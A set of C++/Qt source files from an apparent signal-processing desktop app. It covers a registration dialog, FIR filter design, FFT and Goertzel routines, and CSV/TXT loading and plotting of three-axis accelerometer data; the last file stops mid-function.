void SlotAxisZ();
void SlotAxisO();
void SlotFeatures();
void SlotCutData();
void SlotResetInput();
private:
int ReadCSV(string filePath);
int ReadTXT(string filePath);
void PlotRawData();
void PlotFiltData();
void PlotFFTData();
void DrawData(QCustomPlot *plot,
vector<double> xx,
vector<double> yy,
PlotType TYPE);
void GetFFTData(vector<double> &DataVector,
PlotType TYPE);
void ZoomDraw(vector<double> &xx,
vector<double> &yy,
PlotType TYPE);
void GetFilterData(const vector<double> &signal,
const vector<double> &filter,
PlotType TYPE);
void Convolution(const vector<double> &signal,
const vector<double> &filter,
PlotType TYPE);
void DrawDataTXT();
};
#endif // MAINWINDOW_H
<file_sep>#include "RegisterDialog.h"
#include "ui_RegisterDialog.h"
#include "UserInfo.h"
#include <QtGui>
#include <QPixmap>
RegisterDialog::RegisterDialog(QWidget *parent):
QDialog(parent),
ui(new Ui::RegisterDialog)
{
ui->setupUi(this);
//设置对话框的大小
this->setMaximumSize(500,750);
this->setMinimumSize(320,400);
//创建model,进行数据库操作
user=new QSqlTableModel(this);
user->setEditStrategy(QSqlTableModel::OnManualSubmit);
//设置两行密码lineedit的显示
ui->passwordLine->setEchoMode(QLineEdit::PasswordEchoOnEdit);
ui->retypePsdLine->setEchoMode(QLineEdit::PasswordEchoOnEdit);
//设置lineedit提示语句
ui->userNameLine->setPlaceholderText("请输入用户名");
ui->passwordLine->setPlaceholderText("请输入密码");
ui->retypePsdLine->setPlaceholderText("请重新输入密码");
ui->checkCodeLine->setPlaceholderText("请输入验证码");
//设置注册按钮不可用
ui->registerbtn->setEnabled(false);
//设置验证码
this->SetCheckCode();
//line edit与槽连接
connect(ui->registerbtn,SIGNAL(clicked()),this,SLOT(RegisterbtnSetSlot()));
connect(ui->returnbtn,SIGNAL(clicked()),this,SLOT(ReturnbtnSlot()));
connect(ui->userNameLine,SIGNAL(textChanged(QString)),this,SLOT(TextChanged()));
this->setStyleSheet("border-image:url(./icon/login_map.jpg)");
}
void RegisterDialog::TextChanged()
{
ui->registerbtn->setEnabled(true);
}
RegisterDialog::~RegisterDialog()
{
delete ui;
}
void RegisterDialog::ClearAll()
{
ui->passwordLine->clear();
ui->retypePsdLine->clear();
ui->checkCodeLine->clear();
}
bool RegisterDialog::InfoCheck()
{
//判断lineEdit是否为空
if(!this->JudgeEmpty())
{
ClearAll();
return false;
}
//判断两次密码输入是否一致
if(ui->passwordLine->text()!= ui->retypePsdLine->text())
{
QMessageBox::warning(this,"Warning","Two password are different.",QMessageBox::Yes);
ClearAll();
this->SetCheckCode();
return false;
}
//判断验证码输入是否正确
if(ui->checkCodeLine->text()!= ui->checkCodeLabel->text())
{
QMessageBox::warning(this,"Warning","Check code wrong",QMessageBox::Yes);
ClearAll();
this->SetCheckCode();
return false;
}
QMessageBox::warning(this,"Hint","Pass check",QMessageBox::Yes);
return true;
}
void RegisterDialog::ReturnbtnSlot()
{
this->accept();
}
void RegisterDialog::RegisterbtnSetSlot()
{
if(InfoCheck())
{
UserInfo user;
ui->registerbtn->setEnabled(true);
user.AddUser(ui->userNameLine->text(), ui->passwordLine->text());
ReturnbtnSlot();
}
}
//设置验证码
void RegisterDialog::SetCheckCode()
{
QPalette p1;
p1.setColor(QPalette::WindowText,Qt::red);
checkCode=qrand()%10000;
while(checkCode<1000)
checkCode=qrand()%10000;
ui->checkCodeLabel->setText(QString::number(checkCode));
ui->checkCodeLabel->setPalette(p1);
}
//判断line edit是否为空
bool RegisterDialog::JudgeEmpty()
{
if(ui->userNameLine->text().isEmpty())
{
QMessageBox::warning(this,"Warning","User name cannot be empty");
return false;
}
else if(ui->passwordLine->text().isEmpty()||
ui->retypePsdLine->text().isEmpty())
{
QMessageBox::warning(this,"Warning","User password cannot be empty");
return false;
}
else if(ui->checkCodeLine->text().isEmpty())
{
QMessageBox::warning(this,"Warning","Check code cannot be empty");
return false;
}\
else
return true;
}
<file_sep>#ifndef EDITWINDOW_H
#define EDITWINDOW_H
#include <QWidget>
#include <vector>
#include "UserInfo.h"
#include "common.h"
using namespace std;
namespace Ui {
class editwindow;
}
class editwindow : public QWidget
{
Q_OBJECT
public:
explicit editwindow(QWidget *parent = 0,
vector<double>DataSet={0.0},
vector<double>FreqSet={0.0});
~editwindow();
private slots:
double SlotCaculateMean();
double SlotCaculateRMS();
double SlotCaculateVAR();
double SlotCaculateStdDev();
double SlotCaculateFreqMean();
double SlotCaculateFreqPeak();
double SlotCaculateSigEntropy();
double SlotCaculateSigPower();
void SlotSaveFeatures();
void SlotCalulateAll();
void SlotClose();
private:
Features features;
vector<Features> VectorFeatures;
private:
Ui::editwindow *ui;
UserInfo *user;
vector<double>DataSet;
vector<double>FreqSet;
private:
void GetFormulaMap();
void GetFormerResult();
void SaveFeatures();
};
#endif // EDITWINDOW_H
<file_sep>/****************************************************************************
** Meta object code from reading C++ file 'MainWindow.h'
**
** Created by: The Qt Meta Object Compiler version 67 (Qt 5.9.1)
**
** WARNING! All changes made in this file will be lost!
*****************************************************************************/
#include "../MainWindow.h"
#include <QtCore/qbytearray.h>
#include <QtCore/qmetatype.h>
#if !defined(Q_MOC_OUTPUT_REVISION)
#error "The header file 'MainWindow.h' doesn't include <QObject>."
#elif Q_MOC_OUTPUT_REVISION != 67
#error "This file was generated using the moc from 5.9.1. It"
#error "cannot be used with the include files from this version of Qt."
#error "(The moc has changed too much.)"
#endif
QT_BEGIN_MOC_NAMESPACE
QT_WARNING_PUSH
QT_WARNING_DISABLE_DEPRECATED
struct qt_meta_stringdata_MainWindow_t {
QByteArrayData data[17];
char stringdata0[144];
};
#define QT_MOC_LITERAL(idx, ofs, len) \
Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \
qptrdiff(offsetof(qt_meta_stringdata_MainWindow_t, stringdata0) + ofs \
- idx * sizeof(QByteArrayData)) \
)
static const qt_meta_stringdata_MainWindow_t qt_meta_stringdata_MainWindow = {
{
QT_MOC_LITERAL(0, 0, 10), // "MainWindow"
QT_MOC_LITERAL(1, 11, 9), // "mouseMove"
QT_MOC_LITERAL(2, 21, 0), // ""
QT_MOC_LITERAL(3, 22, 12), // "QMouseEvent*"
QT_MOC_LITERAL(4, 35, 6), // "mevent"
QT_MOC_LITERAL(5, 42, 10), // "mousePress"
QT_MOC_LITERAL(6, 53, 12), // "mouseRelease"
QT_MOC_LITERAL(7, 66, 7), // "slotBtn"
QT_MOC_LITERAL(8, 74, 8), // "fileOpen"
QT_MOC_LITERAL(9, 83, 9), // "rdbtnSlot"
QT_MOC_LITERAL(10, 93, 12), // "drawWithZoom"
QT_MOC_LITERAL(11, 106, 8), // "DrawType"
QT_MOC_LITERAL(12, 115, 4), // "type"
QT_MOC_LITERAL(13, 120, 5), // "axisX"
QT_MOC_LITERAL(14, 126, 5), // "axisY"
QT_MOC_LITERAL(15, 132, 5), // "axisZ"
QT_MOC_LITERAL(16, 138, 5) // "axisO"
},
"MainWindow\0mouseMove\0\0QMouseEvent*\0"
"mevent\0mousePress\0mouseRelease\0slotBtn\0"
"fileOpen\0rdbtnSlot\0drawWithZoom\0"
"DrawType\0type\0axisX\0axisY\0axisZ\0axisO"
};
#undef QT_MOC_LITERAL
static const uint qt_meta_data_MainWindow[] = {
// content:
7, // revision
0, // classname
0, 0, // classinfo
11, 14, // methods
0, 0, // properties
0, 0, // enums/sets
0, 0, // constructors
0, // flags
0, // signalCount
// slots: name, argc, parameters, tag, flags
1, 1, 69, 2, 0x08 /* Private */,
5, 1, 72, 2, 0x08 /* Private */,
6, 1, 75, 2, 0x08 /* Private */,
7, 0, 78, 2, 0x08 /* Private */,
8, 0, 79, 2, 0x08 /* Private */,
9, 0, 80, 2, 0x08 /* Private */,
10, 1, 81, 2, 0x08 /* Private */,
13, 0, 84, 2, 0x08 /* Private */,
14, 0, 85, 2, 0x08 /* Private */,
15, 0, 86, 2, 0x08 /* Private */,
16, 0, 87, 2, 0x08 /* Private */,
// slots: parameters
QMetaType::Void, 0x80000000 | 3, 4,
QMetaType::Void, 0x80000000 | 3, 4,
QMetaType::Void, 0x80000000 | 3, 4,
QMetaType::Void,
QMetaType::Void,
QMetaType::Void,
QMetaType::Void, 0x80000000 | 11, 12,
QMetaType::Void,
QMetaType::Void,
QMetaType::Void,
QMetaType::Void,
0 // eod
};
void MainWindow::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a)
{
if (_c == QMetaObject::InvokeMetaMethod) {
MainWindow *_t = static_cast<MainWindow *>(_o);
Q_UNUSED(_t)
switch (_id) {
case 0: _t->mouseMove((*reinterpret_cast< QMouseEvent*(*)>(_a[1]))); break;
case 1: _t->mousePress((*reinterpret_cast< QMouseEvent*(*)>(_a[1]))); break;
case 2: _t->mouseRelease((*reinterpret_cast< QMouseEvent*(*)>(_a[1]))); break;
case 3: _t->slotBtn(); break;
case 4: _t->fileOpen(); break;
case 5: _t->rdbtnSlot(); break;
case 6: _t->drawWithZoom((*reinterpret_cast< DrawType(*)>(_a[1]))); break;
case 7: _t->axisX(); break;
case 8: _t->axisY(); break;
case 9: _t->axisZ(); break;
case 10: _t->axisO(); break;
default: ;
}
}
}
const QMetaObject MainWindow::staticMetaObject = {
{ &QMainWindow::staticMetaObject, qt_meta_stringdata_MainWindow.data,
qt_meta_data_MainWindow, qt_static_metacall, nullptr, nullptr}
};
const QMetaObject *MainWindow::metaObject() const
{
return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject;
}
void *MainWindow::qt_metacast(const char *_clname)
{
if (!_clname) return nullptr;
if (!strcmp(_clname, qt_meta_stringdata_MainWindow.stringdata0))
return static_cast<void*>(const_cast< MainWindow*>(this));
return QMainWindow::qt_metacast(_clname);
}
int MainWindow::qt_metacall(QMetaObject::Call _c, int _id, void **_a)
{
_id = QMainWindow::qt_metacall(_c, _id, _a);
if (_id < 0)
return _id;
if (_c == QMetaObject::InvokeMetaMethod) {
if (_id < 11)
qt_static_metacall(this, _c, _id, _a);
_id -= 11;
} else if (_c == QMetaObject::RegisterMethodArgumentMetaType) {
if (_id < 11)
*reinterpret_cast<int*>(_a[0]) = -1;
_id -= 11;
}
return _id;
}
QT_WARNING_POP
QT_END_MOC_NAMESPACE
<file_sep>#include "DataHandle.h"
#include <fstream>
#include <iostream>
#include "math.h"
DataHandle::DataHandle()
{
GetFir();
}
void DataHandle::GetFir()
{
int k;
bool FreqCorrection=true;
double RealHofZ[1024];
double ImagHofZ[1024];
int NumTaps=30;
double FIRCoeff[1024];
double OmegaC = 0.2;
double BW = 0.1;
double WinBeta=4.0;
double ParksWidth=0.15;
RectWinFIR(FIRCoeff, NumTaps, OmegaC, BW);
FIRFilterWindow(FIRCoeff, NumTaps, WinBeta);
if(FreqCorrection)
{
double OrigOmega = OmegaC;
double OrigBW = BW;
FIRFreqError(FIRCoeff, NumTaps, &OmegaC, &BW);
RectWinFIR(FIRCoeff, NumTaps, OmegaC, BW);
FIRFilterWindow(FIRCoeff, NumTaps, WinBeta);
OmegaC = OrigOmega;
BW = OrigBW;
}
for(k=0; k<2048; k++)RealHofZ[k] = ImagHofZ[k] = 0.0;
for(k=0; k<NumTaps; k++)RealHofZ[k] = FIRCoeff[k] * (double)2048;
FFT(RealHofZ, ImagHofZ, 2048, FORWARD);
FILE *OutputFile;
OutputFile = fopen("FIR Filter Coeff.txt","w");
for(int j=0; j<NumTaps; j++)
{
fprintf(OutputFile,"\n %9.9f ", FIRCoeff[j]);
}
fclose(OutputFile);
// ofstream OutputFile("FIR Filter Coeff.txt");
// if(OutputFile.is_open())
// {
// for(int j=0; j<NumTaps; j++)
// {
// fprintf(OutputFile,"\n %9.9f ", FIRCoeff[j]);
// }
// fclose(OutputFile);
// }
// else
// {
// qDebug()<<"Cannot open the outfile!\n";
// return;
// }
}
void DataHandle::FIRFreqError(double *Coeff, int NumTaps,
double *OmegaC, double *BW)
{
int j, J3dB;
double Omega, CorrectedOmega, Mag;
J3dB = 10;
for(j=0; j<1000; j++)
{
Omega = (double)j / 1000.0;
Mag = Goertzel(Coeff, NumTaps, Omega);
if(Mag > 0.707)J3dB = j;
// J3dB will be the last j where the response was > -3 dB
if(Mag < 0.1)break;
// Stop when the response is down to -20 dB.
}
Omega = (double)J3dB / 1000.0;
CorrectedOmega = *OmegaC * 2.0 - Omega; // This is usually OK.
if(CorrectedOmega < 0.001)CorrectedOmega = 0.001;
if(CorrectedOmega > 0.99)CorrectedOmega = 0.99;
*OmegaC = CorrectedOmega;
}
void DataHandle::RectWinFIR(double *FirCoeff, int NumTaps,
double OmegaC, double BW)
{
for(int j=0; j<NumTaps; j++)
{
double Arg = (double)j - (double)(NumTaps-1) / 2.0;
FirCoeff[j] = OmegaC * Sinc(OmegaC * Arg * M_PI);
}
}
double DataHandle::Sinc(double x)
{
if(x > -1.0E-5 && x < 1.0E-5)return(1.0);
return(sin(x)/x);
}
// This gets used with the Kaiser window.
double DataHandle::Bessel(double x)
{
double Sum=0.0, XtoIpower;
int i, j, Factorial;
for(i=1; i<10; i++)
{
XtoIpower = pow(x/2.0, (double)i);
Factorial = 1;
for(j=1; j<=i; j++)Factorial *= j;
Sum += pow(XtoIpower / (double)Factorial, 2.0);
}
return(1.0 + Sum);
}
void DataHandle::FIRFilterWindow(double *FIRCoeff, int N, double Beta)
{
int j;
double dN, *WinCoeff;
if(Beta < 0.0)Beta = 0.0;
if(Beta > 10.0)Beta = 10.0;
WinCoeff = new(std::nothrow) double[N+2];
if(WinCoeff == NULL)
{
return;
}
dN = N + 1;
double Arg;
for(j=0; j<N; j++)
{
Arg = Beta * sqrt(1.0 - pow( ((double)(2*j+2) - dN) / dN, 2.0) );
WinCoeff[j] = Bessel(Arg) / Bessel(Beta);
}
// Fold the coefficients over.
for(j=0; j<N/2; j++)WinCoeff[N-j-1] = WinCoeff[j];
// Apply the window to the FIR coefficients.
for(j=0; j<N; j++)FIRCoeff[j] *= WinCoeff[j];
delete[] WinCoeff;
}
int DataHandle::IsValidFFTSize(int N)
{
if(N < MINIMUM_FFT_SIZE || N > MAXIMUM_FFT_SIZE || (N & (N - 1)) != 0)return(0); // N & (N - 1) ensures a power of 2
return ( (int)( log((double)N) / M_LN2 + 0.5 ) ); // return M where N = 2^M
}
void DataHandle::FFT(double *InputR, double *InputI, int N, TTransFormType Type)
{
int j, LogTwoOfN, *RevBits;
double *BufferR, *BufferI, *TwiddleR, *TwiddleI;
double OneOverN;
// Verify the FFT size and type.
LogTwoOfN = IsValidFFTSize(N);
if(LogTwoOfN == 0 || (Type != FORWARD && Type != INVERSE) )
{
// ShowMessage("Invalid FFT type or size.");
return;
}
// Memory allocation for all the arrays.
BufferR = new(std::nothrow) double[N];
BufferI = new(std::nothrow) double[N];
TwiddleR = new(std::nothrow) double[N/2];
TwiddleI = new(std::nothrow) double[N/2];
RevBits = new(std::nothrow) int[N];
if(BufferR == NULL || BufferI == NULL ||
TwiddleR == NULL || TwiddleI == NULL || RevBits == NULL)
{
// ShowMessage("FFT Memory Allocation Error");
return;
}
ReArrangeInput(InputR, InputI, BufferR, BufferI, RevBits, N);
FillTwiddleArray(TwiddleR, TwiddleI, N, Type);
Transform(InputR, InputI, BufferR, BufferI, TwiddleR, TwiddleI, N);
// The ReArrangeInput function swapped Input[] and Buffer[]. Then Transform()
// swapped them again, LogTwoOfN times. Ultimately, these swaps must be done
// an even number of times, or the pointer to Buffer gets returned.
// So we must do one more swap here, for N = 16, 64, 256, 1024, ...
OneOverN = 1.0;
if(Type == FORWARD) OneOverN = 1.0 / (double)N;
if(LogTwoOfN % 2 == 1)
{
for(j=0; j<N; j++) InputR[j] = InputR[j] * OneOverN;
for(j=0; j<N; j++) InputI[j] = InputI[j] * OneOverN;
}
else // if(LogTwoOfN % 2 == 0) then the results are still in Buffer.
{
for(j=0; j<N; j++) InputR[j] = BufferR[j] * OneOverN;
for(j=0; j<N; j++) InputI[j] = BufferI[j] * OneOverN;
}
delete[] BufferR;
delete[] BufferI;
delete[] TwiddleR;
delete[] TwiddleI;
delete[] RevBits;
}
void DataHandle::ReArrangeInput(double *InputR, double *InputI,
double *BufferR, double *BufferI, int *RevBits, int N)
{
int j, k, J, K;
J = N/2;
K = 1;
RevBits[0] = 0;
while(J >= 1)
{
for(k=0; k<K; k++)
{
RevBits[k+K] = RevBits[k] + J;
}
K *= 2;
J /= 2;
}
// Move the rearranged input values to Buffer.
// Take note of the pointer swaps at the top of the transform algorithm.
for(j=0; j<N; j++)
{
BufferR[j] = InputR[ RevBits[j] ];
BufferI[j] = InputI[ RevBits[j] ];
}
}
double DataHandle::Goertzel(double *Samples, int N, double Omega)
{
int j;
double Reg0, Reg1, Reg2; // 3 shift registers
double CosVal, Mag;
Reg1 = Reg2 = 0.0;
CosVal = 2.0 * cos(M_PI * Omega );
for (j=0; j<N; j++)
{
Reg0 = Samples[j] + CosVal * Reg1 - Reg2;
Reg2 = Reg1; // Shift the values.
Reg1 = Reg0;
}
Mag = Reg2 * Reg2 + Reg1 * Reg1 - CosVal * Reg1 * Reg2;
if(Mag > 0.0)Mag = sqrt(Mag);
else Mag = 1.0E-12;
return(Mag);
}
void DataHandle::FillTwiddleArray(double *TwiddleR, double *TwiddleI,
int N, TTransFormType Type)
{
int j;
double Theta, TwoPiOverN;
TwoPiOverN = M_2PI / (double) N;
if(Type == FORWARD)
{
TwiddleR[0] = 1.0;
TwiddleI[0] = 0.0;
TwiddleR[N/4] = 0.0;
TwiddleI[N/4] = -1.0;
TwiddleR[N/8] = M_SQRT_2;
TwiddleI[N/8] = -M_SQRT_2;
TwiddleR[3*N/8] = -M_SQRT_2;
TwiddleI[3*N/8] = -M_SQRT_2;
for(j=1; j<N/8; j++)
{
Theta = (double)j * -TwoPiOverN;
TwiddleR[j] = cos(Theta);
TwiddleI[j] = sin(Theta);
TwiddleR[N/4-j] = -TwiddleI[j];
TwiddleI[N/4-j] = -TwiddleR[j];
TwiddleR[N/4+j] = TwiddleI[j];
TwiddleI[N/4+j] = -TwiddleR[j];
TwiddleR[N/2-j] = -TwiddleR[j];
TwiddleI[N/2-j] = TwiddleI[j];
}
}
else
{
TwiddleR[0] = 1.0;
TwiddleI[0] = 0.0;
TwiddleR[N/4] = 0.0;
TwiddleI[N/4] = 1.0;
TwiddleR[N/8] = M_SQRT_2;
TwiddleI[N/8] = M_SQRT_2;
TwiddleR[3*N/8] = -M_SQRT_2;
TwiddleI[3*N/8] = M_SQRT_2;
for(j=1; j<N/8; j++)
{
Theta = (double)j * TwoPiOverN;
TwiddleR[j] = cos(Theta);
TwiddleI[j] = sin(Theta);
TwiddleR[N/4-j] = TwiddleI[j];
TwiddleI[N/4-j] = TwiddleR[j];
TwiddleR[N/4+j] = -TwiddleI[j];
TwiddleI[N/4+j] = TwiddleR[j];
TwiddleR[N/2-j] = -TwiddleR[j];
TwiddleI[N/2-j] = TwiddleI[j];
}
}
}
//---------------------------------------------------------------------------
// The Fast Fourier Transform.
void DataHandle::Transform(double *InputR, double *InputI,
double *BufferR, double *BufferI,
double *TwiddleR, double *TwiddleI, int N)
{
int j, k, J, K, I, T;
double *TempPointer;
double TempR, TempI;
J = N/2; // J increments down to 1
K = 1; // K increments up to N/2
while(J > 0) // Loops Log2(N) times.
{
// Swap pointers, instead doing this: for(j=0; j<N; j++) Input[j] = Buffer[j];
// We start with a swap because of the swap in ReArrangeInput.
TempPointer = InputR;
InputR = BufferR;
BufferR = TempPointer;
TempPointer = InputI;
InputI = BufferI;
BufferI = TempPointer;
I = 0;
for(j=0; j<J; j++)
{
T = 0;
for(k=0; k<K; k++) // Loops N/2 times for every value of J and K
{
TempR = InputR[K+I] * TwiddleR[T] - InputI[K+I] * TwiddleI[T];
TempI = InputR[K+I] * TwiddleI[T] + InputI[K+I] * TwiddleR[T];
BufferR[I] = InputR[I] + TempR;
BufferI[I] = InputI[I] + TempI;
BufferR[I+K] = InputR[I] - TempR;
BufferI[I+K] = InputI[I] - TempI;
I++;
T += J;
}
I += K;
}
K *= 2;
J /= 2;
}
}
<file_sep>#include "MainWindow.h"
#include "qcustomplot.h"
#include "ui_mainwindow.h"
#include <QFileDialog>
#include <QFileInfo>
#include <fstream>
#include "complex.h"
#include "FirCoeff.h"
#include "cfft.h"
#include <vector>
#include <QPixmap>
MainWindow::MainWindow(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::MainWindow)
{
ui->setupUi(this);
ui->widgetplotX->setVisible(false);
ui->widgetplotY->setVisible(false);
ui->widgetplotZ->setVisible(false);
ui->widgetplotO->setVisible(false);
ui->widgetPlotZoom->setVisible(false);
plotGroup=new QButtonGroup(this);
plotGroup->addButton(ui->rdbtnRawData,0);
plotGroup->addButton(ui->rdbtnFiltData,1);
plotGroup->addButton(ui->rdbtnFFT,2);
ui->rdbtnRawData->setEnabled(false);
ui->rdbtnFiltData->setEnabled(false);
ui->rdbtnFFT->setEnabled(false);
connect(ui->actionOpen,SIGNAL(triggered()),
this,SLOT(SlotFileOpen()));
connect(ui->actionClose,SIGNAL(triggered()),
this,SLOT(close()));
rubberBand = new QRubberBand(QRubberBand::Rectangle,
ui->widgetPlotZoom);
connect(ui->widgetPlotZoom, SIGNAL(mousePress(QMouseEvent*)),
this, SLOT(SlotMousePress(QMouseEvent*)));
connect(ui->widgetPlotZoom, SIGNAL(mouseMove(QMouseEvent*)),
this, SLOT(SlotMouseMove(QMouseEvent*)));
connect(ui->widgetPlotZoom, SIGNAL(mouseRelease(QMouseEvent*)),
this, SLOT(SlotMouseRelease(QMouseEvent*)));
connect(ui->resetBtn, SIGNAL(clicked()),
this, SLOT(SlotResetBtn()));
connect(ui->rdbtnRawData,SIGNAL(clicked(bool)),
this,SLOT(SlotPlotBtn()));
connect(ui->rdbtnFiltData,SIGNAL(clicked(bool)),
this,SLOT(SlotPlotBtn()));
connect(ui->rdbtnFFT,SIGNAL(clicked(bool)),
this,SLOT(SlotPlotBtn()));
connect(ui->btnCutData,SIGNAL(clicked(bool)),
this,SLOT(SlotCutData()));
connect(ui->btnResetInput,SIGNAL(clicked(bool)),
this,SLOT(SlotResetInput()));
connect(ui->xAxisBtn,SIGNAL(clicked()),this,SLOT(SlotAxisX()));
connect(ui->yAxisBtn,SIGNAL(clicked()),this,SLOT(SlotAxisY()));
connect(ui->zAxisBtn,SIGNAL(clicked()),this,SLOT(SlotAxisZ()));
connect(ui->oAxisBtn,SIGNAL(clicked()),this,SLOT(SlotAxisO()));
connect(ui->actionFeatures,SIGNAL(triggered(bool)),
this,SLOT(SlotFeatures()));
this->setStyleSheet("border-image:url(./icon/mainwindow_map.jpg)");
}
MainWindow::~MainWindow()
{
delete ui;
}
void MainWindow::SlotCutData()
{
if(ui->lineEditCutDataBeginWith->text().toDouble()>
ui->lineEditCutDataEndWith->text().toDouble())
{
QMessageBox::information(NULL, "Warning",
"Begin number cannot be bigger than end number!",
QMessageBox::Yes);
return;
}
VectorRawDataT.clear();
VectorRawDataX.clear();
VectorRawDataY.clear();
VectorRawDataZ.clear();
VectorRawDataO.clear();
VectorFilterO.clear();
VectorFilterX.clear();
VectorFilterY.clear();
VectorFilterZ.clear();
VectorFFTO.clear();
VectorFFTX.clear();
VectorFFTY.clear();
VectorFFTZ.clear();
for(int i=0;i<VectorT.size();i++)
{
if(VectorT[i]<ui->lineEditCutDataBeginWith->text().toDouble())
continue;
else
{
if(VectorT[i]>ui->lineEditCutDataEndWith->text().toDouble())
break;
VectorRawDataT.push_back(VectorT[i]);
VectorRawDataO.push_back(VectorO[i]);
VectorRawDataX.push_back(VectorX[i]);
VectorRawDataY.push_back(VectorY[i]);
VectorRawDataZ.push_back(VectorZ[i]);
}
}
}
void MainWindow::SlotResetInput()
{
VectorRawDataT.clear();
VectorRawDataX.clear();
VectorRawDataY.clear();
VectorRawDataZ.clear();
VectorRawDataO.clear();
VectorFilterO.clear();
VectorFilterX.clear();
VectorFilterY.clear();
VectorFilterZ.clear();
VectorFFTO.clear();
VectorFFTX.clear();
VectorFFTY.clear();
VectorFFTZ.clear();
VectorRawDataT.assign(VectorT.begin(),VectorT.end());
VectorRawDataX.assign(VectorX.begin(),VectorX.end());
VectorRawDataY.assign(VectorY.begin(),VectorY.end());
VectorRawDataZ.assign(VectorZ.begin(),VectorZ.end());
VectorRawDataO.assign(VectorO.begin(),VectorO.end());
}
void MainWindow::SlotFeatures()
{
vector<double> data;
vector<double> freq;
data.assign(VectorRawDataO.begin(),VectorRawDataO.end());
freq.assign(VectorFFTO.begin(),VectorFFTO.end());
edit = new editwindow(NULL,data,freq);
edit->setWindowModality(Qt::ApplicationModal);
edit->setAttribute(Qt::WA_ShowModal,false);
connect(edit,SIGNAL(toMainWindow()), this, SLOT(showNormal()));
//this->hide();
edit->show();
return;
}
void MainWindow::SlotFileOpen()
{
QString fileFull;
QFileInfo fileInfo;
fileFull=QFileDialog::getOpenFileName();
fileInfo=QFileInfo(fileFull);
string fileSuffix=fileInfo.suffix().toStdString();
string filePath=fileInfo.absoluteFilePath().toStdString();
if(fileSuffix == "csv")
{
int reg = ReadCSV(filePath);
if(reg >0)
{
ui->rdbtnRawData->setEnabled(true);
ui->rdbtnFiltData->setEnabled(true);
ui->rdbtnFFT->setEnabled(true);
}
}
if(fileSuffix == "txt")
{
int reg = ReadTXT(filePath);
if(reg >0)
{
ui->rdbtnRawData->setEnabled(true);
ui->rdbtnFiltData->setEnabled(true);
ui->rdbtnFFT->setEnabled(true);
}
DrawDataTXT();
}
}
void MainWindow::DrawDataTXT()
{
if(VectorTxtX.size()>0)
{
GetFFTData(VectorTxtX,AxisTXT);
for(int i=0;i<SAMPLE;i++)
VectorFFTT.push_back(100.0*i/SAMPLE);
DrawData(ui->widgetplotX,VectorFFTT,VectorTxtY,AxisFFTedX);
}
}
int MainWindow::ReadCSV(string filePath)
{
ifstream iFile(filePath);
if(iFile.is_open())
{
double t=0.0,x=0.0,y=0.0,z=0.0;
while(!iFile.eof())
{
iFile.getline(buffer,256);
int reg=sscanf_s(buffer,"%lf,%lf,%lf,%lf",&t,&x,&y,&z);
if(reg==4)
{
VectorT.push_back(t);
VectorX.push_back(x);
VectorY.push_back(y);
VectorZ.push_back(z);
VectorO.push_back(sqrt(x*x+y*y+z*z));
VectorRawDataT.push_back(t);
VectorRawDataX.push_back(x);
VectorRawDataY.push_back(y);
VectorRawDataZ.push_back(z);
VectorRawDataO.push_back(sqrt(x*x+y*y+z*z));
}
else
continue;
}
iFile.close();
}
else
{
qDebug()<<"Cannot open the file!\n";
}
return VectorRawDataO.size();
}
int MainWindow::ReadTXT(string filePath)
{
ifstream iFile(filePath);
if(iFile.is_open())
{
double x=0.0;
while(!iFile.eof())
{
iFile.getline(buffer,256);
int reg=sscanf_s(buffer,"%lf",&x);
if(reg==1)
{
VectorTxtX.push_back(x);
}
else
continue;
}
iFile.close();
}
else
{
qDebug()<<"Cannot open the file!\n";
}
return VectorTxtX.size();
}
void MainWindow::SlotMouseMove(QMouseEvent *mevent)
{
if(rubberBand->isVisible())
rubberBand->setGeometry(QRect(rubberOrigin,mevent->pos()).normalized());
}
void MainWindow::SlotMousePress(QMouseEvent *mevent)
{
if(mevent->button()==Qt::RightButton)
{
rubberOrigin=mevent->pos();
rubberBand->setGeometry(QRect(rubberOrigin,QSize()));
rubberBand->show();
}
}
void MainWindow::SlotMouseRelease(QMouseEvent *mevent)
{
Q_UNUSED(mevent);
if(rubberBand->isVisible())
{
const QRect zoomRect=rubberBand->geometry();
int xpOne,xpTwo,ypOne,ypTwo;
zoomRect.getCoords(&xpOne,&ypOne,&xpTwo,&ypTwo);
double xOne=ui->widgetPlotZoom->xAxis->pixelToCoord(xpOne);
double xTwo=ui->widgetPlotZoom->xAxis->pixelToCoord(xpTwo);
double yOne=ui->widgetPlotZoom->yAxis->pixelToCoord(ypTwo);
double yTwo=ui->widgetPlotZoom->yAxis->pixelToCoord(ypTwo);
ui->widgetPlotZoom->xAxis->setRange(xOne,xTwo);
ui->widgetPlotZoom->yAxis->setRange(yOne,yTwo);
rubberBand->hide();
ui->widgetPlotZoom->replot();
}
}
void MainWindow::SlotAxisX()
{
if(plotGroup->checkedId()==0)
ZoomDraw(VectorRawDataT,VectorRawDataX,AxisRawDataX);
else if(plotGroup->checkedId()==1)
ZoomDraw(VectorRawDataT,VectorFilterX,AxisFiltedX);
else if(plotGroup->checkedId()==2)
ZoomDraw(VectorFFTT,VectorFFTX,AxisFFTedX);
}
void MainWindow::SlotAxisY()
{
if(plotGroup->checkedId()==0)
ZoomDraw(VectorRawDataT,VectorRawDataY,AxisRawDataY);
else if(plotGroup->checkedId()==1)
ZoomDraw(VectorRawDataT,VectorFilterY,AxisFiltedY);
else if(plotGroup->checkedId()==2)
ZoomDraw(VectorFFTT,VectorFFTY,AxisFFTedY);
}
void MainWindow::SlotAxisZ()
{
if(plotGroup->checkedId()==0)
ZoomDraw(VectorRawDataT,VectorRawDataZ,AxisRawDataZ);
else if(plotGroup->checkedId()==1)
ZoomDraw(VectorRawDataT,VectorFilterZ,AxisFiltedZ);
else if(plotGroup->checkedId()==2)
ZoomDraw(VectorFFTT,VectorFFTZ,AxisFFTedZ);
}
void MainWindow::SlotAxisO()
{
if(plotGroup->checkedId()==0)
ZoomDraw(VectorRawDataT,VectorRawDataO,AxisRawDataO);
else if(plotGroup->checkedId()==1)
ZoomDraw(VectorRawDataT,VectorFilterO,AxisFiltedO);
else if(plotGroup->checkedId()==2)
ZoomDraw(VectorFFTT,VectorFFTO,AxisFFTedO);
}
void MainWindow::SlotResetBtn()
{
ui->widgetPlotZoom->rescaleAxes();
ui->widgetPlotZoom->replot();
}
void MainWindow::SlotPlotBtn()
{
if(plotGroup->checkedId()==0)
PlotRawData();
else if(plotGroup->checkedId()==1)
